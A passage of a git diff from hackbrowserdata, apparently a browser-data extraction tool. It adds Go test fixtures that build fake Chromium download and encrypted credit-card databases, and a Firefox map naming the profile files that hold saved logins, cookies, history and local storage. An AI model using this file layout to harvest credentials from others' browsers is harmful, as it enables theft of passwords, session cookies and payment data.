fmt.Sprintf( + `INSERT INTO downloads (id, guid, current_path, target_path, start_time, received_bytes, + total_bytes, state, danger_type, interrupt_reason, hash, end_time, opened, last_access_time, + transient, referrer, site_url, embedder_download_data, tab_url, tab_referrer_url, + http_method, by_ext_id, by_ext_name, by_web_app_id, etag, last_modified, mime_type, original_mime_type) + VALUES (NULL, '', '', '%s', %d, %d, %d, 1, 0, 0, x'', %d, 0, 0, 0, '', '', '', '%s', '', 'GET', '', '', '', '', '', '', '')`, + targetPath, startTime, totalBytes, totalBytes, endTime, tabURL, + ) +} + +func insertCreditCard(name string, month, year int, encNumberHex string) string { + return fmt.Sprintf( + `INSERT INTO credit_cards (guid, name_on_card, expiration_month, expiration_year, card_number_encrypted) + VALUES ('%s-%d-%d', '%s', %d, %d, x'%s')`, + name, month, year, name, month, year, encNumberHex, + ) +} + +// --------------------------------------------------------------------------- +// Test fixture builders +// --------------------------------------------------------------------------- + +// createTestDB creates a SQLite database with the given schema and insert statements. +func createTestDB(t *testing.T, name, schema string, inserts ...string) string { + t.Helper() + path := filepath.Join(t.TempDir(), name) + db, err := sql.Open("sqlite", path) + require.NoError(t, err) + defer db.Close() + + _, err = db.Exec(schema) + require.NoError(t, err) + + for _, stmt := range inserts { + _, err = db.Exec(stmt) + require.NoError(t, err) + } + return path +} + +// createTestJSON creates a file with the given JSON content. +func createTestJSON(t *testing.T, name, content string) string { + t.Helper() + path := filepath.Join(t.TempDir(), name) + require.NoError(t, os.WriteFile(path, []byte(content), 0o644)) + return path +} + +// createTestLevelDB creates a LevelDB directory with the given key-value pairs. +func createTestLevelDB(t *testing.T, entries map[string]string) string { + t.Helper() + dir := filepath.Join(t.TempDir(), "leveldb") + db, err := leveldb.OpenFile(dir, nil) + require.NoError(t, err) + for k, v := range entries { + require.NoError(t, db.Put([]byte(k), []byte(v), nil)) + } + require.NoError(t, db.Close()) + return dir +} diff --git a/browser/firefox/source.go b/browser/firefox/source.go new file mode 100644 index 0000000..da4480f --- /dev/null +++ b/browser/firefox/source.go @@ -0,0 +1,21 @@ +package firefox + +import "github.com/moond4rk/hackbrowserdata/types" + +// dataSource maps a Category to one or more candidate file paths within a profile directory. +type dataSource struct { + paths []string // candidate relative paths in priority order + isDir bool // true for directories (unused in Firefox, all sources are files) +} + +// firefoxSources defines the Firefox file layout. +// Firefox does not support SessionStorage or CreditCard extraction. +var firefoxSources = map[types.Category]dataSource{ + types.Password: {paths: []string{"logins.json"}}, + types.Cookie: {paths: []string{"cookies.sqlite"}}, + types.History: {paths: []string{"places.sqlite"}}, + types.Download: {paths: []string{"places.sqlite"}}, // same file as History + types.Bookmark: {paths: []string{"places.sqlite"}}, // same file as History + types.Extension: {paths: []string{"extensions.json"}}, + types.LocalStorage: {paths: []string{"webappsstore.sqlite"}}, +}